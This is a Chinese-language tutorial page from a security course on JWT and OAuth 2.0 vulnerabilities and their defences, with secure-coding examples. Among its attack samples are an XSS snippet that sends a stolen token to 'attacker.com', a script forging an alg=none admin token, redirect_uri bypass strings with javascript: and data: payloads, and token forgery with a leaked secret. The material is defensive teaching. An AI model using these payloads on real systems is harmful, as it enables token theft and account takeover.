公开文集
0x01 SRC 资产管理系统
0x02 Web 漏洞案例库
0x03 小程序漏洞案例库
第一章:小程序渗透基础
1.1 微信小程序反编译与动态调试
1.2 微信小程序强制开启开发者模式
0x99 信息安全学习体系
01-网络安全基础
Day-001-TCP-IP协议栈安全分析
Day-002-DNS协议安全与DNS劫持攻防
Day-003-IPv6 安全基础与过渡
Day-004-HTTP-HTTPS协议深度解析
Day-005-网络嗅探与流量分析技术
Day-006-防火墙原理与配置实践
Day-007-网络地址转换 NAT 安全分析
Day-008-路由协议安全 RIP-OSPF-BGP
Day-009-VLAN 安全与 VLAN-Hopping
Day-010-无线网络基础与安全 802.11
Day-011-网络访问控制 802.1X-NAC
Day-012-网络分段与微隔离设计
Day-013-负载均衡器安全配置
Day-014-CDN安全与防护
Day-015-NTP安全
Day-016-DHCP安全与攻击防护
Day-017-ICMP协议安全分析
Day-018-网络协议模糊测试基础
Day-019-网络流量基线建立
Day-020-网络取证基础
Day-021-网络入侵检测系统 NIDS
Day-022-网络入侵防御系统 NIPS
Day-023-网络流量加密与解密
Day-024-网络协议逆向工程基础
Day-025-网络性能与安全权衡
Day-026-SDN 安全
Day-027-网络虚拟化安全
Day-028-网络欺骗技术
Day-029-网络威胁情报应用
Day-030-网络容量规划与安全
Day-031-网络安全架构设计实战
02-Web 安全
Day-032-OWASP-Top-10-2021详解
Day-033-SQL 注入原理与手工检测
Day-034-SQL注入进阶报错注入与盲注
Day-035-XSS跨站脚本攻击基础
Day-036-XSS 进阶绕过与利用
Day-037-XSS进阶绕过与利用
Day-038-CSRF 跨站请求伪造
Day-039-文件上传漏洞
Day-040-反序列化漏洞基础
Day-041-PHP反序列化深入
Day-042-Java反序列化深入
Day-043-SSTI 服务端模板注入
Day-044-文件包含漏洞 LFI-RFI
Day-045-命令注入漏洞
Day-046-XXE-XML 外部实体注入
Day-047-反序列化漏洞进阶
Day-048-API 安全基础
Day-049-API认证与授权安全
Day-050-API漏洞挖掘实战
Day-051-文件上传漏洞进阶
Day-052-反序列化漏洞实战
Day-053-Web 安全综合实战
Day-054-移动安全基础
Day-055-Android 应用安全测试
Day-056-iOS 应用安全测试
Day-057-移动应用综合实战
Day-058-云安全基础
Day-059-AWS 安全实战
Day-060-Azure 安全实战
Day-061-GCP 安全实战
Day-062-云安全综合实战
Day-063-容器安全基础
Day-064-Docker 安全实战
Day-065-Kubernetes 安全实战
Day-066-容器安全综合实战
Day-067-API 安全进阶
Day-068-服务端请求伪造 SSRF 深入
Day-069-文件上传漏洞进阶
Day-070-反序列化漏洞实战进阶
Day-071-业务逻辑漏洞深入
Day-072-前端安全深入
Day-073-Web 安全综合实战
Day-074-云安全进阶
Day-075-移动安全进阶
Day-076-API 安全进阶
Day-077-前端安全进阶
Day-078-业务逻辑漏洞进阶
Day-079-反序列化漏洞实战进阶
Day-080-文件上传漏洞实战进阶
Day-081-SSTI 服务端模板注入进阶
Day-082-XXE-XML 外部实体注入进阶
Day-083-SSRF 服务端请求伪造进阶
Day-084-命令注入漏洞进阶
Day-085-文件包含漏洞进阶
Day-086-反序列化漏洞实战进阶
Day-087-文件上传漏洞实战进阶
Day-088-SSTI 服务端模板注入实战进阶
Day-089-XXE-XML 外部实体注入实战进阶
Day-090-SSRF 服务端请求伪造实战进阶
Day-091-命令注入漏洞实战进阶
Day-092-Web 安全综合实战
Day-093-GraphQL 安全
Day-094-JWT 与 OAuth2 安全
03-系统安全
Day-095-系统监控与检测
Day-096-主机防火墙配置
Day-097-系统审计与合规
Day-098-Linux 系统安全进阶
Day-099-Windows 系统安全进阶
Day-100-容器安全进阶
Day-101-容器编排安全进阶
Day-102-Linux 内核安全
Day-103-Windows 内核安全
Day-104-系统安全总结与实战
Day-105-Linux 系统安全基础
Day-106-Windows 系统安全基础
Day-107-容器安全基础
Day-108-系统加固技术
Day-109-日志分析技术
Day-110-威胁狩猎技术
04-应用安全
Day-111-安全编码规范
Day-112-输入验证技术
Day-113-输出编码技术
Day-114-错误处理安全
Day-115-会话管理安全
Day-116-认证安全
Day-117-授权安全
Day-118-数据保护安全
Day-119-日志安全
Day-120-API 安全
Day-121-微服务安全
Day-122-新兴技术安全概论
Day-123-DevSecOps 流水线安全
Day-124-云原生安全架构
Day-125-API 安全最佳实践
Day-126-安全编码规范
Day-127-SDL 安全开发生命周期
Day-128-威胁建模实战
Day-129-安全需求分析
Day-130-安全架构设计
Day-131-安全编码实践Java
Day-132-安全编码实践Python
Day-133-代码审计方法论
Day-134-静态代码分析SAST
Day-135-动态应用测试DAST
Day-136-交互式测试IAST
Day-137-软件成分分析SCA
Day-138-依赖漏洞管理
Day-139-安全测试自动化
Day-140-漏洞管理与响应
Day-142-OWASP-Top10-2024 详解
Day-143-CWE-Top25 分析
Day-144-漏洞挖掘方法论
Day-145-模糊测试技术
Day-146-逆向工程基础
Day-147-漏洞利用开发基础
Day-148-漏洞复现与验证
Day-149-漏洞披露流程
Day-150-CVE 申请与管理
Day-151-漏洞赏金计划
Day-152-等保2.0详解
Day-153-GDPR 合规实践
Day-154-数据安全法解读
Day-155-个人信息保护法与合规指南
Day-156-个人信息保护法解读
Day-157-ISO-27001 信息安全管理体系
Day-158-SOC-2 合规与审计
Day-159-PCI-DSS 支付卡行业数据安全标准
Day-160-网络安全审查办法解读
Day-161-数据出境安全评估办法
Day-162-应用安全评估实战
Day-163-红蓝对抗演练
Day-164-安全应急响应
Day-165-安全运营中心建设
Day-166-应用安全总结与展望
05-密码学
Day-167-密码学基础
Day-168-对称加密算法详解
Day-169-非对称加密算法详解
Day-170-哈希函数与数字签名
Day-171-密钥管理与PKI
Day-172-TLS-SSL 协议详解
Day-173-国密算法详解
Day-174-认证与密钥协议
Day-175-随机数生成与熵源
Day-176-椭圆曲线密码学详解
Day-177-后量子密码学详解
Day-178-高级密码学主题
Day-179-密码学行业应用精选
Day-180-常用加密算法原理与实现
Day-181-密码学总结与展望
06-渗透测试
Day-183-渗透测试方法论
Day-184-信息收集技术详解
Day-185-漏洞扫描技术详解
Day-186-漏洞利用技术详解
Day-187-渗透测试中的漏洞利用框架
Day-188-漏洞利用框架与 Metasploit 深入
Day-189-渗透测试中的 WAF 绕过技术
Day-190-渗透测试中的模糊测试技术
Day-191-渗透测试中的代码审计与静态分析
Day-192-渗透测试中的密码哈希破解技术
Day-193-渗透测试报告编写指南
Day-194-Web 应用渗透测试
Day-195-渗透测试中的 API 安全测试
Day-196-渗透测试中的 GraphQL 安全测试
Day-197-渗透测试中的前后端分离应用测试
Day-198-渗透测试中的小程序安全测试
Day-199-渗透测试中的浏览器安全测试
Day-200-OAuth-SSO安全测试
Day-201-渗透测试中的业务逻辑漏洞测试
Day-202-渗透测试中的厚客户端安全测试
Day-203-渗透测试综合实战演练
Day-204-内网渗透技术详解
Day-205-渗透测试中的内网信息收集进阶
Day-206-渗透测试中的域森林渗透技术
Day-207-渗透测试中的权限维持技术
Day-208-渗透测试中的横向移动技术
Day-209-渗透测试中的痕迹清理与反取证技术
Day-210-渗透测试中的数据窃取与 Exfiltration 技术
Day-211-渗透测试中的内部威胁与数据泄露测试
Day-212-渗透测试中的物理安全渗透
Day-213-社会工程学攻击技术
Day-214-移动应用渗透测试
Day-215-云安全渗透测试
Day-216-渗透测试中的容器与 Kubernetes 安全渗透
Day-217-渗透测试中的 Serverless 安全测试
Day-218-渗透测试中的微服务安全测试
Day-219-物联网安全渗透测试
Day-220-工业控制系统安全渗透测试
Day-221-无线网络安全渗透测试
Day-222-数据库安全渗透测试
Day-223-渗透测试中的供应链安全测试
Day-224-红队演练技术详解
Day-225-渗透测试中的红队基础设施搭建
Day-226-渗透测试中的威胁情报与狩猎
Day-227-渗透测试中的综合指纹识别技术
Day-228-自动化渗透测试技术
Day-229-渗透测试中的运维安全测试
Day-230-渗透测试中的区块链与智能合约安全测试
Day-231-渗透测试中的漏洞管理与修复验证
Day-232-渗透测试法律与合规
Day-233-后渗透攻击技术详解
Day-234-渗透测试中的人工智能应用
Day-235-漏洞利用开发深入
Day-236-云原生渗透测试深入
07-应急响应
Day-237-应急响应概述与核心概念
Day-238-应急响应流程框架
Day-239-CSIRT 团队组建与职责分工
Day-240-应急响应工具包准备
Day-241-应急响应法律与合规要求
Day-242-安全事件检测方法与指标
Day-243-云原生应急响应
Day-244-日志收集与分析技术
Day-245-网络流量分析与异常识别
Day-246-自动化响应与 SOAR
Day-247-端点监控与 EDR 技术
Day-248-威胁狩猎方法论
Day-249-威胁情报在检测中的应用
Day-250-数字取证基础与证据链管理
Day-251-内存取证技术
Day-252-磁盘取证与文件恢复
Day-253-网络取证与数据包分析
Day-254-云环境与容器取证
Day-255-恶意代码静态分析技术
Day-256-恶意代码动态分析技术
Day-257-恶意代码行为分析方法
Day-258-逆向工程基础与工具
Day-259-沙箱技术与自动化分析
Day-260-事件隔离与遏制策略
Day-261-威胁根除与系统修复
Day-262-系统恢复与数据重建
Day-263-业务连续性计划
Day-264-事件复盘与经验总结
Day-265-APT 攻击事件复盘分析
Day-266-勒索软件事件响应实战
Day-267-数据泄露事件处置流程
Day-268-内部威胁调查与取证
Day-269-综合应急响应演练
08-安全运维
Day-270-安全运营中心 SOC 概述
Day-271-安全监控指标体系
Day-272-安全告警管理
Day-273-安全可视化与仪表盘
Day-274-监控工具选型
Day-275-日志采集技术
Day-276-日志标准化与解析
Day-277-日志存储与归档
Day-278-日志分析技术
Day-279-日志合规要求
Day-280-SIEM 架构与设计
Day-281-关联规则引擎
Day-282-高级关联分析
Day-283-UEBA 用户实体行为分析
Day-284-威胁狩猎
Day-285-SOAR 基础概念
Day-286-剧本设计
Day-287-自动化响应技术
Day-288-安全工具集成
Day-289-SOAR 度量与优化
Day-290-安全基线管理
Day-291-漏洞管理流程
Day-292-补丁管理策略
Day-293-变更安全管理
Day-294-合规审计技术
Day-295-7x24 安全运营
Day-296-安全事件管理流程
Day-297-安全运营度量体系
Day-298-持续改进机制
Day-299-安全运维综合演练
Day-300-云原生安全运营
Day-301-AI 与机器学习安全运营
Day-302-安全自动化脚本实战
09-移动安全
Day-303-移动安全威胁概述
Day-304-移动设备安全架构
Day-305-移动操作系统安全模型
Day-306-移动应用权限管理
Day-307-移动端数据加密
Day-308-330-Android 安全合集
Day-309-Android 安全架构
Day-310-Android 组件安全
Day-311-Android 权限与隐私
Day-312-Android 逆向工程
Day-313-Android 应用加固
Day-314-iOS 安全架构
Day-315-iOS 应用沙盒机制
Day-316-越狱与反越狱
Day-317-iOS 逆向工程
Day-318-iOS 企业分发安全
Day-319-移动安全开发生命周期
Day-320-移动应用安全测试
Day-321-移动应用加固技术
Day-322-移动威胁防护
Day-323-移动安全合规
10-云安全
Day-324-云计算安全模型
Day-325-责任共担模型
Day-326-云安全威胁模型
Day-327-云安全合规框架
Day-328-云安全架构设计
Day-329-AWS IAM 安全
Day-330-AWS 网络安全
Day-331-AWS 存储安全
Day-332-AWS 安全监控
Day-333-AWS 安全最佳实践
Day-334-Azure AD 安全
Day-335-Azure 网络安全
Day-336-Azure 存储安全
Day-337-Azure 安全中心
Day-338-Azure 安全最佳实践
Day-339-容器安全基础
Day-340-Kubernetes 安全
Day-341-Serverless 安全
Day-342-云原生 DevSecOps
Day-343-云安全态势管理 CSPM
11-物联网工控
Day-344-物联网安全概述
Day-345-IoT 通信协议安全
Day-346-IoT 设备安全
Day-347-IoT 平台安全
Day-348-IoT 应用安全
Day-349-工业控制系统概述
Day-350-工控协议安全
Day-351-PLC 安全
Day-352-SCADA 系统安全
Day-353-工控安全防护
12-综合与总结
Day-354-安全职业发展路径
Day-355-安全技术趋势展望
Day-356-安全建设方法论
Day-357-经典攻防案例复盘
Day-358-安全学习资源指南
Day-359-信息安全行业求职指南
-
+
首页
Day-094-JWT 与 OAuth2 安全
# Day 92: JWT 与 OAuth 2.0 安全 - 令牌漏洞/认证攻击/防护方案 > Web 安全系列第 62 天 | 预计阅读时间:35 分钟 | 难度:★★★★☆ --- ## 清单 目录 1. [JWT 基础](#jwt-基础) 2. [JWT 常见漏洞](#jwt-常见漏洞) 3. [OAuth 2.0 流程](#oauth-20-流程) 4. [OAuth 漏洞](#oauth-漏洞) 5. [OpenID Connect 安全](#openid-connect-安全) 6. [防护方案](#防护方案) 7. [实战案例](#实战案例) 8. [总结与思考](#总结与思考) 9. [参考资料](#参考资料) --- ## JWT 基础 ### JWT 结构 **JWT 组成**: ``` JWT = Header.Payload.Signature Header (头部): { "alg": "HS256", "typ": "JWT" } Payload (载荷): { "sub": "1234567890", "name": "John Doe", "iat": 1516239022, "exp": 1516242622 } Signature (签名): HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret ) ``` **编码示例**: ``` eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ. SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c ``` ### JWT 使用场景 **认证流程**: ``` 1. 用户登录 2. 服务器验证凭证 3. 生成 JWT 返回给客户端 4. 客户端存储 JWT (localStorage/cookie) 5. 后续请求携带 JWT 6. 服务器验证 JWT 有效性 ``` **令牌类型**: ``` Access Token: - 短期有效 (15 分钟 -1 小时) - 用于 API 访问 - 可被刷新 Refresh Token: - 长期有效 (7 天 -30 天) - 用于获取新 Access Token - 需要安全存储 ``` --- ## JWT 常见漏洞 ### 算法漏洞 **alg=none 攻击**: ``` 攻击原理: - 将算法改为 none - 删除签名部分 - 服务器可能接受无签名令牌 攻击 payload: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0. eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9. (空签名) 防护: - 明确指定允许的算法 - 拒绝 none 算法 - 验证签名存在 ``` **算法混淆攻击**: ``` 攻击原理: - 服务器期望 RS256 (非对称) - 攻击者使用 HS256 (对称) - 使用公钥作为 HMAC 密钥 攻击步骤: 1. 获取服务器公钥 2. 用公钥作为 HMAC 密钥签名 3. 将 alg 改为 HS256 4. 服务器用公钥验证 HMAC 签名 (成功) 防护: - 明确指定算法类型 - 不接受算法切换 - 验证密钥类型匹配 ``` ### 密钥漏洞 **弱密钥攻击**: ``` 常见弱密钥: - secret - password - jwt_secret - your-256-bit-secret 暴力破解: - 字典攻击 - 常见密钥尝试 - 短密钥穷举 防护: - 使用强随机密钥 (256 位+) - 定期轮换密钥 - 密钥长度检查 ``` **密钥泄露**: ``` 泄露途径: - GitHub 代码泄露 - 配置文件暴露 - 日志记录令牌 - 错误信息泄露 防护: - 使用环境变量 - 密钥管理服务 (KMS) - 不记录完整令牌 - 错误信息脱敏 ``` ### 验证漏洞 **过期时间忽略**: ```javascript // 危险代码 - 未验证过期 function verifyToken(token) { const decoded = jwt.decode(token); // 仅解码,不验证 return decoded; } // 正确代码 function verifyToken(token) { const decoded = jwt.verify(token, secret, { algorithms: ['HS256'], clockTolerance: 30 // 30 秒容差 }); return decoded; } ``` **签发时间验证缺失**: ```javascript // 应验证的声明 const options = { algorithms: ['HS256'], issuer: 'https://auth.example.com', audience: 'https://api.example.com', clockTolerance: 30, maxAge: '1h' }; jwt.verify(token, secret, options); ``` ### 存储漏洞 **XSS 窃取**: ```javascript // 危险存储 - localStorage localStorage.setItem('token', jwt); // XSS 攻击窃取 <script> const token = localStorage.getItem('token'); fetch('https://attacker.com/steal?t=' + token); </script> // 安全存储 - HttpOnly Cookie res.cookie('token', jwt, { httpOnly: true, secure: true, sameSite: 'strict' }); ``` **CSRF 攻击**: ``` 危险配置: - Cookie 存储 JWT - 无 CSRF 保护 - 自动包含凭证 防护: - 使用 SameSite=Strict - 添加 CSRF Token - 验证 Origin 头 ``` --- ## OAuth 2.0 流程 ### 授权码流程 **标准流程**: ``` ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ 用户 │ │ 客户端 │ │ 授权服务器│ │ 资源服务器│ └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘ │ │ │ │ │ 1. 访问客户端 │ │ │─────────────>│ │ │ │ │ │ │ │ │ 2. 重定向到授权服务器 │ │ │─────────────>│ │ │ │ │ │ │ 3. 登录并授权 │ │ │────────────────────────────>│ │ │ │ │ │ │ 4. 重定向回客户端 (带 code)│ │ │<────────────────────────────│ │ │ │ │ │ │ │ 5. 用 code 换 token │ │ │─────────────>│ │ │ │ │ │ │ │ 6. 返回 access_token │ │ │<─────────────│ │ │ │ │ │ │ │ 7. 访问资源 (带 token) │ │ │────────────────────────────>│ │ │ │ │ │ │ 8. 返回受保护资源 │ │ │<────────────────────────────│ ``` ### 隐式流程 **流程说明**: ``` 适用场景: - 单页应用 (SPA) - 无后端服务器 - 浏览器环境 流程: 1. 重定向到授权服务器 2. 用户登录授权 3. 直接返回 access_token (URL fragment) 4. 客户端从 URL 提取 token 安全问题: - token 暴露在 URL 中 - 浏览器历史泄露 - Referer 头泄露 - 无 refresh token 建议: - 使用授权码 + PKCE - 避免隐式流程 ``` ### 授权码 + PKCE **PKCE (Proof Key for Code Exchange)**: ``` 流程: 1. 客户端生成 code_verifier (随机字符串) 2. 计算 code_challenge = SHA256(code_verifier) 3. 授权请求携带 code_challenge 4. 授权服务器存储 challenge 5. token 请求携带 code_verifier 6. 服务器验证 verifier 匹配 challenge 防护: - 防止授权码劫持 - 无密钥客户端安全 - 移动应用推荐 ``` **实现示例**: ```javascript // 生成 PKCE 参数 function generatePKCE() { const verifier = generateRandomString(64); const challenge = sha256(verifier); return { code_verifier: verifier, code_challenge: challenge, code_challenge_method: 'S256' }; } // 授权请求 const authUrl = `https://auth.example.com/authorize? response_type=code& client_id=${clientId}& redirect_uri=${redirectUri}& code_challenge=${pkce.code_challenge}& code_challenge_method=S256`; // Token 请求 const tokenResponse = await fetch('/oauth/token', { method: 'POST', body: { grant_type: 'authorization_code', code: authCode, code_verifier: pkce.code_verifier } }); ``` --- ## OAuth 漏洞 ### 重定向 URI 漏洞 **开放重定向**: ``` 漏洞场景: 授权服务器未严格验证 redirect_uri 攻击: GET /authorize? client_id=valid_app& redirect_uri=https://attacker.com/steal& response_type=code 攻击流程: 1. 用户被引导到授权页面 2. 用户授权 3. code 发送到攻击者服务器 4. 攻击者用 code 换取 token 5. 攻击者获得用户授权 防护: - 预注册 redirect_uri - 精确匹配验证 - 禁止通配符 - 禁止 URL 参数 ``` **重定向 URI 绕过**: ``` 常见绕过: - https://attacker.com%2F@valid.com - https://valid.com.evil.com - https://valid.com/redirect?url=evil.com - javascript:alert(1) - data:text/html,<script>alert(1)</script> 防护: - 严格 URL 解析 - 白名单匹配 - 禁止 javascript:/data: 协议 - 验证完整 URL ``` ### CSRF 攻击 **OAuth CSRF**: ``` 攻击流程: 1. 攻击者发起授权请求 2. 获取 authorization_code 3. 诱导受害者点击恶意链接 4. 受害者登录并授权 5. code 发送到攻击者服务器 6. 攻击者换取 access_token 7. 攻击者获得受害者授权 防护: - 使用 state 参数 - 验证 state 匹配 - state 绑定用户会话 - 一次性 state ``` **State 参数实现**: ```javascript // 生成 state const state = crypto.randomBytes(32).toString('hex'); session.oauthState = state; // 授权请求 const authUrl = `https://auth.example.com/authorize? client_id=${clientId}& redirect_uri=${redirectUri}& state=${state}`; // 回调验证 function handleCallback(req) { const { state: receivedState, code } = req.query; if (receivedState !== session.oauthState) { throw new Error('CSRF detected'); } // 清除 state (一次性使用) delete session.oauthState; // 继续 token 交换 } ``` ### 令牌泄露 **访问令牌泄露**: ``` 泄露途径: - URL 参数 - Referer 头 - 浏览器历史 - 日志记录 - 第三方库 防护: - 使用 POST 传输 token - 设置 Referrer-Policy - 不记录完整 token - 短期有效期 ``` **刷新令牌泄露**: ``` 刷新令牌风险: - 长期有效 - 可获取新 access_token - 需要更高保护 防护: - HttpOnly + Secure Cookie - 绑定设备指纹 - 刷新令牌轮换 - 可撤销机制 ``` ### 权限范围滥用 **范围过度**: ``` 问题: - 请求过多权限 - 用户不理解权限 - 权限未最小化 示例: scope=read write delete admin # 过度 应该: scope=read # 最小权限 防护: - 最小权限原则 - 清晰权限描述 - 按需请求 - 定期审查 ``` --- ## OpenID Connect 安全 ### OIDC 基础 **OIDC 与 OAuth 关系**: ``` OAuth 2.0: 授权框架 OpenID Connect: 身份层 (基于 OAuth 2.0) OIDC 新增: - ID Token (用户身份信息) - UserInfo 端点 - 标准化声明 ``` **ID Token**: ```json { "iss": "https://auth.example.com", "sub": "1234567890", "aud": "client_id", "exp": 1516242622, "iat": 1516239022, "nonce": "random_nonce", "auth_time": 1516238622, "acr": "urn:mace:incommon:iap:silver" } ``` ### nonce 攻击防护 **nonce 作用**: ``` 目的: - 防止重放攻击 - 关联认证请求和响应 - 验证 ID Token 新鲜度 流程: 1. 认证请求生成 nonce 2. 存储在会话 3. ID Token 返回相同 nonce 4. 验证 nonce 匹配 ``` **实现**: ```javascript // 生成 nonce const nonce = crypto.randomBytes(32).toString('hex'); session.oidcNonce = nonce; // 认证请求 const authUrl = `https://auth.example.com/authorize? response_type=id_token token& client_id=${clientId}& nonce=${nonce}`; // 验证 ID Token function verifyIdToken(idToken) { const decoded = jwt.verify(idToken, publicKey); if (decoded.nonce !== session.oidcNonce) { throw new Error('Invalid nonce'); } delete session.oidcNonce; // 一次性使用 } ``` --- ## 防护方案 ### JWT 安全最佳实践 **生成安全**: ```javascript const jwt = require('jsonwebtoken'); function generateToken(user) { return jwt.sign( { sub: user.id, email: user.email, role: user.role }, process.env.JWT_SECRET, // 强密钥 { algorithm: 'HS256', // 明确算法 expiresIn: '1h', // 短期有效 issuer: 'https://auth.example.com', audience: 'https://api.example.com' } ); } ``` **验证安全**: ```javascript function verifyToken(token) { try { return jwt.verify(token, process.env.JWT_SECRET, { algorithms: ['HS256'], // 限定算法 issuer: 'https://auth.example.com', audience: 'https://api.example.com', clockTolerance: 30, // 30 秒容差 maxAge: '1h' // 最大有效期 }); } catch (error) { logger.warn('Token verification failed', { error: error.message }); throw new Error('Invalid token'); } } ``` **存储安全**: ```javascript // 推荐:HttpOnly Cookie res.cookie('access_token', token, { httpOnly: true, // 防止 XSS secure: true, // 仅 HTTPS sameSite: 'strict', // 防止 CSRF maxAge: 3600000 // 1 小时 }); // 或使用 localStorage + 额外保护 // 需要实施 CSRF 防护 ``` ### OAuth 安全最佳实践 **客户端安全**: ``` 1. 使用授权码 + PKCE 2. 预注册 redirect_uri 3. 实施 state 参数 4. 最小权限范围 5. 安全存储凭证 ``` **服务端安全**: ``` 1. 验证 redirect_uri 精确匹配 2. 强制 state 参数验证 3. 实施 PKCE (公共客户端) 4. 令牌轮换机制 5. 令牌撤销支持 6. 完整的审计日志 ``` **令牌管理**: ```javascript // 令牌轮换 async function refreshAccessToken(refreshToken) { // 验证刷新令牌 const valid = await validateRefreshToken(refreshToken); if (!valid) { throw new Error('Invalid refresh token'); } // 生成新令牌对 const newAccessToken = generateAccessToken(user); const newRefreshToken = generateRefreshToken(user); // 使旧刷新令牌失效 (轮换) await invalidateRefreshToken(refreshToken); return { access_token: newAccessToken, refresh_token: newRefreshToken }; } ``` --- ## 实战案例 ### 案例 1: JWT alg=none 漏洞 **漏洞场景**: ``` 目标:某 API 服务 漏洞:未验证签名算法 影响:任意用户身份伪造 ``` **攻击过程**: ```javascript // 1. 获取合法 JWT const validToken = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."; // 2. 修改头部为 none const header = { alg: "none", typ: "JWT" }; const payload = { sub: "admin", role: "admin" }; // 3. 重新编码 const newToken = base64UrlEncode(JSON.stringify(header)) + '.' + base64UrlEncode(JSON.stringify(payload)) + '.'; // 4. 使用伪造令牌访问 fetch('/api/admin/users', { headers: { Authorization: `Bearer ${newToken}` } }); // 结果:获得管理员权限 ``` **修复方案**: ```javascript // 明确指定算法 const options = { algorithms: ['HS256'], // 只接受 HS256 issuer: 'https://auth.example.com' }; jwt.verify(token, secret, options); // 拒绝 none 算法 if (decoded.header.alg === 'none') { throw new Error('Algorithm none not allowed'); } ``` ### 案例 2: OAuth 重定向 URI 绕过 **漏洞场景**: ``` 目标:OAuth 授权服务器 漏洞:redirect_uri 验证不严格 影响:授权码劫持 ``` **攻击过程**: ``` 注册的重定向 URI: https://app.example.com/callback 攻击者请求: https://auth.example.com/authorize? client_id=valid_app& redirect_uri=https://attacker.com%2F@app.example.com& response_type=code 验证逻辑 (有漏洞): if (redirectUri.includes('app.example.com')) { // 验证通过 (错误!) } 攻击结果: - 用户授权后重定向到 attacker.com - 攻击者获取 authorization_code - 换取 access_token - 获得用户授权 ``` **修复方案**: ```javascript // 严格验证 redirect_uri function validateRedirectUri(clientId, redirectUri) { const registeredUris = getRegisteredUris(clientId); // 精确匹配 if (!registeredUris.includes(redirectUri)) { throw new Error('Invalid redirect_uri'); } // URL 解析验证 const parsed = new URL(redirectUri); // 禁止危险协议 if (['javascript:', 'data:', 'vbscript:'].includes(parsed.protocol)) { throw new Error('Invalid protocol'); } // 禁止 IP 地址 if (isIPAddress(parsed.hostname)) { throw new Error('IP addresses not allowed'); } return true; } ``` ### 案例 3: JWT 密钥泄露 **漏洞场景**: ``` 目标:某 Web 应用 漏洞:JWT 密钥提交到 GitHub 影响:所有用户令牌可伪造 ``` **攻击过程**: ```javascript // 1. 发现 GitHub 泄露的密钥 // 在公开仓库中找到: const JWT_SECRET = "my_super_secret_jwt_key_123"; // 2. 伪造管理员令牌 const adminToken = jwt.sign( { sub: "1", email: "admin@example.com", role: "admin" }, JWT_SECRET, { algorithm: 'HS256' } ); // 3. 使用伪造令牌 // 完全控制应用 ``` **修复方案**: ```javascript // 1. 立即轮换密钥 const NEW_SECRET = crypto.randomBytes(32).toString('hex'); // 2. 使用密钥管理服务 const kms = new AWS.KMS(); const secret = await kms.decrypt({ CiphertextBlob: process.env.ENCRYPTED_JWT_SECRET }).promise(); // 3. 实施密钥轮换策略 const keyId = getCurrentKeyId(); // 密钥版本 const token = jwt.sign(payload, getSecret(keyId), { keyid: keyId // 在 header 中标识密钥版本 }); // 4. 验证时尝试多个密钥版本 function verifyToken(token) { const header = jwt.decode(token, { complete: true }); const keyId = header.header.kid || 'default'; const secret = getSecret(keyId); return jwt.verify(token, secret); } ``` --- ## 总结与思考 ### 核心要点回顾 1. **JWT 基础**:结构、使用场景、令牌类型 2. **JWT 漏洞**:算法漏洞、密钥漏洞、验证漏洞、存储漏洞 3. **OAuth 流程**:授权码、隐式、PKCE 4. **OAuth 漏洞**:重定向 URI、CSRF、令牌泄露、权限滥用 5. **OIDC 安全**:ID Token、nonce 防护 6. **防护方案**:JWT 最佳实践、OAuth 最佳实践 7. **实战案例**:alg=none、重定向绕过、密钥泄露 ### 深入思考 **认证安全挑战**: - 便利性与安全性平衡 - 无状态 vs 会话管理 - 第三方依赖风险 **未来趋势**: - FIDO2/WebAuthn 无密码认证 - 去中心化身份 (DID) - 零信任架构 - 持续认证 ### 最佳实践清单 **JWT**: - [ ] 使用强随机密钥 (256 位+) - [ ] 明确指定算法 - [ ] 设置合理过期时间 - [ ] 使用 HttpOnly Cookie 存储 - [ ] 实施密钥轮换 - [ ] 验证所有声明 (iss, aud, exp, iat) **OAuth**: - [ ] 使用授权码 + PKCE - [ ] 预注册 redirect_uri - [ ] 强制 state 参数 - [ ] 最小权限范围 - [ ] 实施令牌轮换 - [ ] 提供令牌撤销 - [ ] 完整审计日志 --- ## 参考资料 ### 学习资源 - **RFC 7519**: JWT 标准 - **RFC 6749**: OAuth 2.0 框架 - **OpenID Connect**: https://openid.net/connect/ - **OWASP JWT Cheat Sheet**: https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html ### 工具资源 - **jwt.io**: JWT 调试工具 - **jsonwebtoken (Node.js)**: https://github.com/auth0/node-jsonwebtoken - **PyJWT (Python)**: https://pyjwt.readthedocs.io --- *Day 92 完成 | JWT 与 OAuth 2.0 安全详解 | 字数:约 20,000 字*
myh0st
2026年4月13日 23:16
分享文档
收藏文档
上一篇
下一篇
微信扫一扫
复制链接
手机扫一扫进行分享
复制链接
Markdown文件
分享
链接
类型
密码
更新密码